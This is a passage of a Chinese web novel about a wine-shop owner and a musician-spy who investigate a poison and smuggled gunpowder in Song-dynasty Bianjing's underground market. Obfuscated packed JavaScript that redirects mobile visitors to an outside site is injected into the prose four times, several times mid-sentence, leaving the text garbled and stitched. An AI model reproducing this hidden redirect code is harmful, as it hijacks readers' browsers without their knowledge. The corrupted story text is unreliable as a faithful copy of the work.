许云洲轻笑,眼里映出廊下灯火:“许坊主当知这叫能者多劳。” “能者能打你一顿吗?” 许云洲把那张人畜无害的脸凑到她眼前:“你打得过吗?” …… 枢密院后堂,烛光描出的暗影像在瑟瑟发抖,周铎坐在一张圈椅里,手里把玩着一只黑玉貔恘。 他反复搓着貔恘口中玉珠,案前,跪地的人头低得看不见脸面,声音嘶哑,喘着粗气:“……许云洲,苏州人士,年二十四,父母早亡,由一个姑母抚养,十五岁在教坊司呆过,后以琴艺闻名,离京游方,近两个月才再次回京,很快便得了官家赏识,与许多达官贵人交好,据说还为官家办些私事。” 周铎没看他,手里还搓着那个貔恘:“私事?” “是,但具体是什么,没打听出来,事关陛下,大约知道的也是不敢说。” 周铎冷笑:“苏州籍是假的,本官看过了,苏州府二十年前的户籍黄册里,根本没有许云洲这个人,连相似年龄的男童都没有对得上的。” “大人说的对,他的口音,偶尔在松懈时,会漏出些幽燕边塞腔。” “幽燕?”周铎手一停,“当年许家军,就有驻守幽燕的。” “是,若是有这一层干系,那他会跟那个疑似许家遗孤的酒坊坊主沆瀣一气就说得通了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128451|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “钱家有没有什么动静?” “暂时没有,家眷对官府的论断并无异议。” “许云洲这些时日在做什么?” “他带着春风酒幡那个不常出门的小坊主去了对家风月楼,但风月楼当晚起火,死了一个女子,还未查明身份,火起原因是一次爆炸,整座撷芳阁烧毁,前堂亦有波及,许云洲在火场受伤。” “他们去那里做什么?是发现了什么?” “属下不敢妄言,但坊间传言,当时风月楼饮客众多,只死了一个女子,属实蹊跷。” 周铎把手里的貔恘放在桌上,两侧灯火将他的影子分出两侧:“他和那个许知非,走得有多近?” “许云洲醉酒闯入许知非房中,许知非非但没有躲避,还亲自端送解酒蜜水。” 周铎目光一利:“可有看见什么?” “无法接近,许云洲身边似有暗卫,来路不明,且似乎提前知晓属下将在何处探听,而我等屡次追踪二人皆以失败告终,那是一只训练有素的队伍。” “那个许知非有什么破绽吗?” “他一个酒坊坊主,素来宣称身弱多病,不出门,不见人,老坊主刚死,他却突然会验尸,此为最大破绽,但刑部李大人特准她以任何方式自证清白,应是许云洲在背后操控。” 周铎站起来,踱到一张疆域图前,手指点了一下幽燕所在的位置,又顺着水路,辗转移向汴京。 “不管他是谁,能查最好,不能……那就处理干净。” 跪地的人又低了低头:“是。” 周铎转过身来,平静道:“找个机会,让他意外消失就好,不要太张扬。” …… 当日午后,春风酒幡后院柴房里,许知非正专心致志滤酒,不论如何酒坊还是要有酒,眼下只是等着时间过去,等着夜幕降临。 酒香从屋里飘到了院子里,赵伯取酒时总是眉开眼笑,深深吸上一口。 澄心酿带着微微一点甜意,许知非深吸了好几口,焦灼的心绪舒畅不少。 她正想着说这样放松着自己的神经当真人间一大乐事,外面就有人直接翻进院子里,身影从门口一闪而过,她听见了声音。 澄透的酒水滤出最后一坛,她轻轻放下酒坛子,走到门外,抬头看向二楼西厢敞开的窗户。 房中,许云洲有一下没一下的拨着琴弦,时不时拧一下琴轸,神情专注,像是没有发现跟前跪了个人。 林修一身靛青棉袍像是街上哪个小摊贩,端端跪在许云洲跟前不说也不动。 半晌,许云洲将手中瑶琴稳稳放下,七根琴弦流过一线寒光,他沉声道:“说。” 林修像机器般开口,一字一句不带任何语调情绪:“风月楼的火,是子时一刻起的,一楼后厨有松油混合物,至少三桶,戌时末,更夫见过几个生面孔在楼后搬货,其中一人左手戴着手套。” “焦尸。”许云洲目光落在地上,没看他。 “女身,四尺七寸,齿龄大约五旬,左手腕骨有旧裂,愈痕错位,但薛老妇是在两年前跌伤的右手。” 许知非推门而入,看了一眼林修:“继续。”她拉了张椅子坐下,一只手支在身旁木桌上,撑着自己的头。 16. 金枫 许云洲依旧盯着地面,不置可否,林修抬头看了看他,继续道:“沿着昨夜风向,撷芳阁西北两条巷子外面,墙角下发现拖拽和血痕,有滴落血迹,间距均匀,延伸至汴河附近,水门当值节级称,寅时初有艘驳船出城,持户部采买司批文。” 许云洲刚要开口,许知非抢了话:“批文是真的?” 许云洲微微一笑,低眸不语。 林修道:“纸是真的,印也是真的,但签发主事,三日前高假称病,如今在城外一个庄子静养,那庄子,是枢密院一个参军名下的产业。” 房中静了下去,门外有一丝衣物摩擦的声音,三人抬眼对视,没动。 片刻,许知非起身走出去,门外走廊空无一人,但她能感觉到,有人确实刚刚站在门边。 房中,许云洲开口道:“找到什么了?” 林修取出一方帕子,打开,里面是一片焦黑蜷卷的羊皮,巴掌大。 “字迹模糊。” 许知非上前查看,羊皮上有隐约不清的字迹:“露,二十两,梁门,三月,抽两成……” 许云洲依旧没动,甚至开始研究自己的手指:“怎么找到的?” “烧毁的柜底,板厚一寸有余,异于常制,破开,得此物。” “有人发现了她的罪证,她为了假死烧了整个风月楼?还提前做好了疏散其他人的准备?才两成,是性命之忧?”许知非眉心深锁,“那就不是岑掌柜手里那些罪证的事情了。” 许云洲冷笑:“他手里那些……不过是他自己给自己找的麻烦,至于疏散……要是这么说,她好像没有打算让你活下来?” 这家伙竟然全都知道…… 许知非垂眸深思:“拖拽痕,说细些。” 林修道:“初为单向西北,至水门前巷口痕迹杂乱,有短暂推搡的痕迹,之后痕迹继续向水门而去,拖拽转轻。” 许云洲仍旧松弛,正了正衣襟:“推搡处,可有遗落物件?” 林修眼一亮,似有些难以置信,又低头道:“巷口墙根下捡到一枚墨玉扳指,内侧有军中老弓手惯用的辟邪样式。” 许知非又问:“血迹量如何?” 林修道:“不多,皮肉伤,但沿途断续,至水门前消失,应是匆忙包扎。” 许云洲起身将那块羊皮接下,递到许知非面前:“归你了。” “什么意思?”许知非抬头看他。 “你查,比我查更方便。” “我方便?我这样的身份方便?” “你若能多信我一点……就好了。” …… 入夜,汴河东水门外一处货栈后院,青禾跟着一个领路人走进一间与周遭格格不入的书斋,门外,运沙船的橹声沉闷低沉。 那人把一盏灯笼给了他,光晕转了三四圈,都没照清他的脸,青禾面色平静,是熟谙的神态,只道:“多谢。” 他自己走进屋里,一盏油灯很亮,灯芯很长,光线在房中显得格外局促,王安石坐在灯盏边上,身着细麻常服,胡须凌乱,手里翻着的是一卷漕运账册。 他摆了摆手,门在青禾身后轻轻关上。 青禾把灯笼放在脚边,坐下,开口只道:“王相公此时找我,不知又何要事?” 王安石抬起头来,眼神是那种久居人上的冷漠平静淡定和无动于衷的和蔼可亲。 “许家小仆,青禾……”他说得很慢,“你是跟许坊主一起长大的,对吧。” “是,小人七岁起便跟着坊主,至今已有十五年。” “她待你如何啊?” “她是我的家人,我的亲妹妹。” 王安石目光炯炯:“那你为何背叛她?” 青禾指尖轻轻敲了一下桌面,冷淡道:“我只是不希望她被奸人所害,我从来所做都是在保护她。” “你是说,许云洲?”王安石微微前倾,眼中似有似烈火跳动。 “许云洲来路不明,表面是雅士是琴师,实则不知在为谁办事,他接近坊主,定是有所图谋,坊主本就无依无靠,若我不暗中给许云洲使点绊子,她一定会变成他的傀儡,任他摆布,我绝不能让许云洲如愿。” 他说得激动,王安石静静听他说完,手指在岸上一本册子上敲了敲,又问:“许云洲他……图谋什么?” “我看他是为了查汴京城里各条生意线,是奉了谁的命令,盯上了我们的小酒坊,一旦我们没有了利用的价值,尤其是坊主这样的身份,定会被灭口。” 王安石点头:“庆历七年,许大人府上的惨案确实令人心惊,但是否有冤情,尚无定论,即便要查,也该由刑部、大理寺重启,此为正途,本官看许云洲屡屡要保许知非,亦觉不妥,有些……过于张扬。” 他话锋一转,又道:“你说许云洲接近许知非是因替谁查案?可有证据?” 青禾噎住,证据?许云洲那张人畜无害的脸和深不见底的眼睛,随时随地都是从容不迫的掌控感,怎么可能有证据? “小人……小人只是观察所得,并无实际证据,只知道他受伤回来,瞒着坊主,定是有些见不得人的勾当。” 王安石摇头道:“你知道,你的一句‘只是观察所得’,有可能会死多少人?” 青禾神情一紧,连着眨了两次眼,低下头去:“王相公是说,我必须再做点什么吗?” 房中陈设清简,王安石自己环顾一圈,好像从没来过似的,一副观赏情态,而后开口问道:“周铎和里行可有找过你?” “二位大人找我做什么?” “他们若许你事成之后带许知非远走高飞,若告诉你许云洲是太后的人,查案是假,为太后清除异己是真,而许坊主就是要清除的许家余孽,你当如何?” “我有我的判断,自然先查探清虚实真伪。” “他们若要许云洲的命呢?” “那与我无关,我只要坊主安好,并没有要害他的意思,他若能肃清商道奸佞,也不是坏事,但不要把我家坊主当作祭品。” 王安石点头:“本相与周铎政见不合,朝野皆知,他要他的黑利,我要我的新法,许云洲若真能断他几条财路,于新政有益,但……”他捻了一下胡须,眉峰压低,“许云洲到底效忠于谁,太不可控。” 青禾似懂非懂:“王相公的意思是?” “许坊主无罪,许家是否有罪尚待查证,但她是女子,且多年来安分守己,本相不会让他们动她,至少,在查清这桩桩件件的真相之前,她不能死。但如你所说,许云洲需要防范,本相需要你再仔细些,盯紧他。” 青禾勾唇一笑,阴鸷道:“简单。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138063|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 百花楼竟是一处地下城,从延庆观地下一直延伸到汴河地,潮湿闷热,来往行人蒙面易容,除了许云洲,就好像他这张脸,本身就是假的。 许知非襦裙大袖藏着昨夜从梁门夜市里买来的验尸器具,白纱遮面,裙摆莲花绣样随着她的脚步若隐若现。 有人从身旁经过,她小心侧开,低下头,扮作一副婢女姿态,许云洲微微侧目,眼中入了几分笑意,缓步前行。 “这样的地方,越怕错,便越错。” 许知非不答,只跟着他。 转过不知多少弯道岔路,一间石室出现在眼前,门边有个驼背独眼的瘦子,身上粗布短打褐色布料打了白色布丁,白色的地方还比褐色的地方薄,可手上的金戒指却晃眼得很,像是一种不走心的伪装,把来人当傻子?又或者根本不放在眼里。 许云洲停在他桌前,反手扣了四五下桌面,那独眼抬眼看他,不屑道:“许公子又来做什么?” 许云洲温和道:“找郢六娘。” “六娘出去了。” “金枫露二十两可找到了?” 石室静下去,走动的人举起手里的灯,三三两两往这边看。 许知非扣紧了手指,金枫露二十两竟是不见了,那女颭身上搜出来的货单上已兑青玉佩环是什么意思?是她拿走了? 那些灯像鬼火,照见那些人疲惫迷茫的神情,隐约可见石室深处摆满了架柜,一格格抽屉堆叠到顶端。 许云洲正了正背上的琴:“那些是什么人?” “都是来找六娘的。” 那个瘦子用一根竹签在一本空白簿子上写写画画,可许知非并没看见纸页上出现了什么,不论字迹还是图样,都没有。 她看向许云洲,得了个眼神,示意她看那瘦子的眼罩。 想不到这古老时代还有这样的东西,那个眼罩是特制的,他写的东西只有他自己能看见。 独眼抬起头来,把手里拿根竹签放下:“金枫露二十两遗失一事我等已上报楼主,该擦掉的东西,会都擦掉,许公子不必操心。” 许知非这才看到,那竹签尖端有一个点,里面渗出一点点不易发觉的透明液体。 许云洲道:“若我知道那二十两金枫露去了哪里,不知道六娘能不能赶回来呢?” “哟!是许琴师啊!招待不周,招待不周!” 暗处一个小门里走出一个花容月貌的女子,声似灵雀,听得一句话,许知非就起了一身的鸡皮疙瘩,那声音不算嗲,却在各个关键音节处似飘了出去,犹如春风拂柳,撩人却带着某种特殊的力度。 “六娘回来的早,许某还以为要等上半宿,正想着到后面易所里歇上一歇。” 郢六娘竟是这样年轻漂亮的女子,怎么看都跟这鬼市里的其他人格格不入,甚至往里面一站,像盏大灯,过于突兀。 许知非移开视线,刻意不看她,免得引起她的注意。 郢六娘果然走上前来,白皙的手指尖轻轻描过许云洲的脸,又点在他额心上,往下落,划过他高挺的鼻梁,缓缓落在他的唇上,她轻轻一笑,百媚纵生。 “许公子是贵客,又带着……宝贝……”她目光落在许知非脸上,身子也转向她,跟着是她的脚步,一点点靠近,“我自然要回得早些。” 17. 鬼市 怕错就更错……许知非抬起头来,眉尾弯出一丝笑意,淡淡道:“见过郢娘子。” 她虚虚一礼,却听见她的笑声:“没想到春风酒幡的小坊主是个小姑娘。” 旁边瘦子也笑了,指了指她脸上白纱:“她以为带着这个咱们认不出她。” “春风酒幡的酒香都飘到鬼市里了,我们怎么会认不出如此贵客呢?”郢六娘轻轻抬手,指尖勾住了许知非的面纱,忽然一拽,是要扯下来。 许知非把脸侧开,反手扫开了她的手:“郢娘子说笑了,那是我远方哥哥的店,想来是我近日住在店里,染了一身味道?” 郢六娘神色骤冷,厉声道:“那你带个面纱做什么?” “小女子生得丑陋,这脸不便见人,还是说,鬼市规矩如此冒昧,不论何人,想看便看?”她扫了那瘦子一眼,“那我也冒昧一问,桌上册子里写得是什么?与我一样?也是见不得人的?” 郢六娘身后,一盏盏油灯聚拢过来,将她脸色衬得愈加阴沉,许云洲正要挡她,许知非将他一把推开:“我听说,是郢娘子弄丢的金枫露?” 她当然没听说,只是随口一说,既然是要上报楼主的事情,那这女的就不是什么说话人,看样子,眼下是丢了东西,还很重要,试试她慌不慌。 那郢六娘果然噎了一下,眼看两人后面又有来人,她冷哼一声:“你们两个跟我来吧。”她转身往刚才进来的那个小门走,对独眼瘦子使了个眼色。 瘦子把桌面上的记册合起来,从旁抽出另一本打开,又拿起了那根竹签。 “专门写咱们?”她走近许云洲,低声说道。 两人跟着郢六娘,那些执灯的人眼睁睁看着他们从自己身边经过,目光依旧疲惫茫然,根本不像是来找人的,而像是傀儡,不知道自己要干什么,就在那里站着,看看这看看那,什么也不管,类似此处氛围组?扮个不人不鬼?毕竟要是没有这么些个人忙着地方也就是灯暗了点。 许云洲微微侧头,靠近道:“这些人是这里的守卫,那个册子写的是生人来时的衣着样貌姿态,一点一滴都记得清清楚楚,你下次再来时,这些守卫就会认得你,他们是药傀,听令行事,一旦动手,以命相博,若发生什么变故,他们知道你该不该把命放下。” 许知非颈后一凉,回头去看,那些守卫仍拿着灯盏,往自己离开的方向聚拢,但他们不进那个门,一个个都停在门边,直直盯着她……也不算盯着,那一双双眼睛没有焦点,就是这个方向不断张望。 “你怎么知道的?”她低声道。 许云洲神色微暗,掩在了一瞬光影交叠中:“……来过,自然知道。” 郢六娘步态婀娜,回头一眼,媚笑,三人穿过甬道,出口处是一座暗河边的吊脚木楼,楼下是奔流的地下河,楼上还有两层,楼顶是地下洞穴的岩顶。 郢六娘的房间在左手边第四间,逼仄又潮湿,墙边满是药罐子,根本不像是人该住的地方,像个库房。 “坐。”郢六娘指了指唯一一张瘸腿的木凳,自己歪倒在窗边一张铺了兽皮的矮榻上。 许知非站在屋子中间,目光扫过满墙满地的瓶瓶罐罐,许云洲说过百花楼是炼药铺子,难道…… “郢娘子是药师?”她问道。 “是,”郢六娘姿态妩媚,眼神勾在许云洲身上,“许公子说知道金枫露下落,还望告知,鬼市必有重谢。” “他不知道,我知道。”许知非端端站着,双手交扣,藏在衣袖里。 许云洲在她身后,不到半步的距离,他又往前走近了些,目光落在她脸上:“她说的没错,我只是……带路的,做个好人……好事。” 许知非咬了咬牙,好好好,这人还真把锅甩给她。 郢六娘看向她,眼里那点妩媚瞬间散了,明显地冷眼打量,从头到脚把她看了个遍,最后盯着她的脸:“好,那你说,想要什么好处?” 好处?看来这风流琴师定没少吃,至于吃的是什么…… 她看了看许云洲,得到一个坦荡又无辜的眼神,她白了一眼,开口道:“我要知道钱员外最后一次来买字画时,花了多少钱?在哪里买的?” 郢六娘登时坐起来,纱袖扬起,落在脚边,立起一侧腿来:“你是来查他死因的?” 许知非阴阳怪气:“死因?他不是太过张扬得罪了人,被一个药铺小厮下药毒死了吗?听说手法独到?还险些害了我那表哥哥?”她往前一步,故意压低了声音,“他怎么死的不重要,我是来查那笔钱的,他们这么有钱,害我哥哥坐牢来,怎么想我也要敲上一笔。” “你要勒索钱家?”郢六娘鄙夷道。 许知非从怀中取出女颭身上找到的货单,看了看那些辽文与汉文同书的字迹,把有字的一面转向她,扬了扬:“这是金枫露的去向,另外还有些关于新货的消息,郢娘子还要再拖吗?” “什么新货?”郢六娘警惕道。 “娘子心知肚明。” 郢六娘站起来,走向她:“小姑娘,你就不怕姐姐就此把你留下?” 有个漂亮姐姐也不错,不过她也不敢把她留下,否则她定也小命难保,于是她顺杆爬:“姐姐若不嫌弃,妹妹自然愿意跟姐姐有个伴,鬼市也好,黄泉也罢。” 郢六娘站着她面前,一双媚眼生了刀片般:“钱胖子在易所看见了逍咄罗跟贵人的交易,至于是什么,连我都不敢知道,他买的那些破字画,不过几千贯钱,都是贵人送给逍咄罗,逍咄罗又随手卖了换钱的东西,至于他怎么死的,妹妹定不难猜。” “逍咄罗?”许知非当然不知道逍咄罗是谁,但听着不像中国人,她想了想,“辽人?” “是,辽人,所以他会死,一点都不奇怪。”郢六娘有些不耐烦,朝她摊开手,“妹妹看着不像不守信用的人。” 许知非把那张货单放在她手里,观察她的神情。 许云洲悄悄拉她袖摆,示意她退后。 郢六娘拿着那张纸看了又看,眼神变得极度恐惧,手都开始抖起来,忽然五指一握,把整张纸攥在手里:“这是哪里来的?一对青玉佩环竟能换我二十两金枫之毒?花火节将至,三十斤火药私运入京,这是要掀了汴京城吗?这绝不是我们干的!” “金枫露是毒?” 郢六娘发现自己说了不该说的,猛地抬眼看她,又惊又怒。 许云洲故作思量状:“货单是从那个女颭身上找到的,听说她是猝死的?” “不,跟钱员外一样,死于一种混合毒物。”许知非一副力不从心的模样,看着郢六娘。 “是逍咄罗……”郢六娘声音发颤,“怪不得他今日与那位贵人家仆验货时看起来格外爽快,定是了了什么后患了……”她踉跄了半步,抬手扶住窗下一方小案,“……他偷了我的金枫露,他知道金枫露……还利用一个女颭辗转到药铺里……那个药铺伙计定知道什么,只是他不敢说,有人掐了他的把柄,又或者……” 许知非打断她:“怎样才能找到这个辽人?” 许云洲道:“逍咄罗是驻京辽使,常年负责洽谈宋辽商贸,就在怀远驿里住着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157802|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许知非摇头:“怀远驿是官家地方,去了也捞不出什么来,他除了到鬼市里来……还去哪里?” 郢六娘眉心紧锁,像是很艰难才开的口,一只手捂着胸口:“今晚的货验过了,他并没交代何时再来,但过几日花火节的宮宴,他一定会去。” 许知非转向许云洲:“哦?是吗?” 她语气不像是什么“好巧”或“正好”的意思,更像质疑和探究,许云洲一脸不解:“我应了陛下旨意,确实恰好前往,是能为姑娘做些什么?” 他称她姑娘,目光炯炯,像个热心市民,许知非眯了眯眼,打量他:“你不认识?” 许云洲一副思索模样:“好像……如此一想,不知他认不认识我?” 许知非往门外走:“去看看不就知道了。” 从郢六娘房间到刚才那条甬道不远,她打算原路折返,再凭着记忆往回走,但发觉身后脚步声到门口就停了,她有些迟疑,停步回头:“怎么?不敢?怕我发现那些见不得人的勾当?” 许云洲含笑摇头,朝她走来,轻声道:“第一,你不认路,我不认为你会冒然折返,第二,鬼市没有回头路,若要走,只有往前。” 他侧开一步,指了指身后,幽暗狭长的回廊一眼看不到头,但不知连接了多少暗道。 郢六娘从房间里出来,并不靠近,站在房门口,声音稍稍拉高,刚好高过楼下水声:“还请姑娘到楼主那里一叙。” “楼主?” 许云洲满意道:“看来这趟没白来,连我都没见过张楼主,这是托了许小娘子的福了,春风酒幡果然是个福地。” 许知非略扫他一眼,上前道:“那有劳姐姐带路。” 郢六娘做了个请的姿态,继而转身在前引路,媚眼一挑,看了看许云洲。 许知非回头,却见他一脸无辜,她蹙眉道:“怎么,不好意思?都是成年人,你们有什么勾当、私情,也不必避讳,我不与人说就是了。” “我没有!”许云洲声音陡然拉高。 许知非怔住,愕然道:“没有就没有,那么大声干什么?” 郢六娘脚步一停,回头笑道:“听闻许公子到汴京这几个月来颇避嫌,不招惹姑娘,连酒都喝得少了,与在杭州时判若两人,也不知是何缘故,楼主听闻也是诧异的很,这市里姑娘都筛了一圈了,却也没发现哪里不对。” 她说着瞥向许知非:“妹妹当心了,有些人,皮下藏着什么,我……” “我也不一定要你带路的,六娘。”许云洲打断她,明显的警告,仍看着许知非,像是不愿错过她每一个细微的反应。 许知非看了看楼下河水,黑漆漆的,也不知是太深了还是太暗了,在这样的地方,被人扔下去了肯定活不成,她决定打个圆场:“正事要紧,二位有什么恩怨情仇可否先放一边?” “别听她胡说。”许云洲急切道,像是恳求又像是解释。 许知非愣了一下,点头,先答应,不然他又发什么病谁也说不准,不过看样子,这人嘴上不在意名声,行为却丝毫掩饰不住自己有多在意,真是够够的。 “好……好啊,我不听……不听。”她抿唇挤了个笑,眼珠子转向郢六娘。 郢六娘微微挑眉,继续往前走:“就在前面,拐几个弯就到了。” 整座楼挂的都是红灯,还都是花形,抬头一看像满天赤星,这里像是地下深处的悬崖,这楼就修在悬崖上。 转过两个弯,河水声响变得模糊不清,周遭越来越僻静,微微有些人声从几个方向不同的甬道里传来。 18. 难说 他们从走进一个小门,门内甬道很短,只有几步,出去后,左边五个门,右边五个门,正对着一个门,十二个门绕成一圈,中间是个石室,没人,也没东西。 三个人的脚步声在石室里回荡着,每个门里都隐隐约约有些人声传出来,许知非跟紧了几步,许云洲紧随着,在她侧后方。 郢六娘微微侧目,手里攥紧了那张货单,肩头有些收紧,又走快了些:“许小娘子最好把所知都交代清楚,不然,楼主大概不会放许小娘子离开,我也不敢放你们出去。” 许云洲看着郢六娘的背影,手碰了一下许知非,示意她看那些门,对郢六娘说道:“听闻张楼主在鬼市之中最是公道,定能处理好这等琐事,说到底,都不过是钱的问题。” 郢六娘沉声道:“此事涉及火药和辽人,这两月来又已死伤许多,许公子却还觉得是钱的问题,看来传言不假,许公子如今是这汴京城里最无情无义之人。” 许知非抬头,见许云洲依旧从容,眼里弯着点若有似无的笑意,只是并没多少温度,好像看客,路过此地,但无情无义?却也不见得,只不过他好像对这世事有些无动于衷,只是在做些本分而已? 她默默记下了每个门上的特征……乾、坤、震、巽、坎、离、艮、兑,加上四个方位变卦,刚好十二个,又回想了一遍方才来路,不让回头?生门进,死门出? 她回头看了看,进来的那个小门里,出现了几双眼睛,隐约能看见人脸,她登时转过脸来,起了一身鸡皮疙瘩。 许云洲低头看她,稍稍侧目,那些人脸瞬间退入黑暗中,他靠近她,低声道:“跟紧我。” 许知非眼帘低垂,没有回应,只是脚步往他身边靠近了些,三人继续往前,走进正对的小门,甬道变得狭窄潮湿,脚下青苔又些湿滑,她感觉到许云洲的手臂护在的她腰后,只是没有碰到她。 甬道太黑,出口的光亮想个太阳,越往前,声音越清晰,有姑娘的笑声,又各种各样的男人的高谈声,还有琵琶声。 “到了。”郢六娘声音明显的紧绷。 许知非双手攥紧了拳头,跟着她踏出那个门,眼前出现了一个五光十色的洞天福地,暗河在角落处积出一个不深不浅刚好能站人的水潭,水潭另一侧好像是个瀑布,有哗哗的水声,有几个姑娘在水潭里嬉戏,还有几个大老爷们。 劣质脂粉和劣质酒水的味道混合在一起,酒客都是衣衫半解开的状态,时不时有铜钱落进青铜酒盏的响声。 郢六娘回头道:“许公子可是看不上汴京货色,不及杭州姑娘温柔解意?” “六娘可是觉得杭州鬼市死的人不够多?”许云洲神色平和不改,“此处每一个姑娘都在谈生意,手里是什么货都是你们分好的,许某眼角高,向来不喜欢这些由人分配好的边角料。” 郢六娘停住回头,脸色有些发青:“……你是怎么知道的?” 杭州?许知非默默听着,不吭声,她也不知自己该不该知道。 “难说,”许云洲顶着那张人畜无害的脸,笑意本似春阳落水般闪动潋滟,忽然笑一停,眼中光点跟着冷下去,“不知张楼主在何处?春风酒幡明日还要开市,我可不想让我义弟知道我把他妹妹带到这样的地方来。” “楼主就在里面,”郢六娘指向前面一个珠帘摇晃的小门,神情紧张,抬起的手里攥着那张货单。 木门虚掩着,许云洲对她做了个请的手势。 这人怎么像过冷的水,一摇就冻上?许知非目光稍稍移开,小心瞄了瞄周遭情形,确实发现各种小动作,根本不像是单纯的寻花问柳,而是各有目的,点到为止的商洽和推拉,都带着些筹码物件,丝帕、首饰、酒杯……甚至一些果盘里的签子。 郢六娘带头掀起珠帘,木门里面是一件宽大的内室,张缘清撑着头,身下一张长绒兽皮垫子,绒毛已然卷曲变形,而他侧卧听曲,一脸享受,看起来并没发觉有人进来,但情态……有些过于夸张。 弹琴的姑娘按弦停奏,他慢慢睁开眼来,眼珠子抬起来,看向郢六娘,又移向许云洲,最后看向许知非。 他坐起来时,抚琴的姑娘退了出去,许云洲走了过去,温和道:“久闻张楼主大名,今日终于有幸一见了。” 张缘清看向他:“许云洲,”他眉峰抬了抬,薄唇噘了起来,biaji了好几下,那表情仿佛猪八戒转世,又看向许知非,抬手指她,“这姑娘不错,想在汴京打算换点什么?” 许云洲侧了一步,挡在许知非面前:“千金不换。” 许知非心里咯噔一下,看着地面没敢抬头,但这说明这具身体还是有活着的价值的,还算好事。 不远处,郢六娘上前道:“这姑娘自称春风酒幡那个小坊主的远亲妹妹,今日带来了金枫露的消息,丢失的二十两,找到了。”她说着把那张货单抵了过去。 “哦?!”张缘清这才真正坐直起身,接下那张货单,没看,伸了个懒腰,体型壮硕,姿态粗扩,像是河边的力工,一侧衣襟耷拉在手臂上,眼神好像刚睡醒又还不想醒,朦朦胧胧,眨了眨眼,“是吗……” 他站起来,往前走,许云洲不退,挡着他。 许知非抬起头来,心跳加快,那人跟许云洲站在一起显得许云洲像个瘦弱书生,两个人根本不是一个量级。 许云洲背影笔挺,声音依旧温和:“张楼主可知逍咄罗在百花楼交易些什么货?他好像有些东西让许小娘子很感兴趣。” “辽使?”张缘清当真思量,又忽然醒悟般眼睛一亮,“我凭什么告诉你啊?看看你那样子!”他指了一下许云洲额角头发遮住的伤处,有拍了一下他右侧手臂。 许知非脚步微微动了动,许云洲右臂衣袖下看得出肌肉微微紧绷,是在忍着,装作没事,而对面那个人,变脸变得像变态,竟还知道他哪里有伤?! 张缘清又看向她:“不是你找到的金枫露吗?” 许知非压下一点心惊,抬眼笑道:“是我,还想找找逍咄罗,问清些事情,郢姐姐说,钱员外买的字画,是从他那里来的?那他又是从哪里得到这些字画呢?达官?还是贵人?” 张缘清不说话,只看着她,片刻,郢六娘开口道:“许公子要不随我去喝杯闲茶?” 许云洲不动:“张楼主可知有人以鬼市的名义偷运了三十斤火药入京?” “什么?”张缘清终于有了反应,似是难以置信,声音夸张得嘶哑,“火药?!” 他这才去看那张货单,眼睛逐渐瞪大,最后瞠得眼珠像快掉出来,猛地看向郢六娘:“你惹的祸?” 郢六娘连连摆手,头上珠翠摇得乱响:“不,不是属下!属下也是心惊,这才带他们来见楼主啊。” “钱胖子看见了逍咄罗的交易,所以被灭口,这说得通,可火药是怎么回事?这绝不是我们的生意!”张缘清双手摊开,对着许云洲大声解释。 房间外面隐约能听见有水轮转动,轻微有些奇异的药香不知何时在室内飘散开。 许知非闻了闻,问道:“水轮的转速是否与炼药的火候有关?” 张缘清目光再次落在她脸上,满是惊愕:“你说什么?” 许知非继续道:“账册的墨色,可推断交易周期,药工手上的茧子能看出谁在偷懒,谁想逃跑,这地宫每一丝风、每一度热、每一丝气味、声音,每一两原料、毒剂的去向,其实都在楼主掌控之内,但金枫露被盗,火药……”她不大确定,但兴许,这楼主也不确定,“火药,走鬼市路数入京,楼主却不知道,”她停了一下,又想了一遍从进来到现在的经过,继续道,“楼主什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178904|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不必问,是因着其实什么都知道,我也根本不必交代任何,但逍咄罗偷了金枫露,还知道金枫露的用法,这说明,百花楼里……” 张缘清脚步转向她,那副刻意夸张的神情渐渐淡去:“你多大?”他姿态回正,整个人变得气宇轩昂,一派剑指长天的豪气,蹙眉道,“辽人的事,不是你该碰的,这点子钱……你不缺。”他背过身去,拿着那张货单又看了起来。 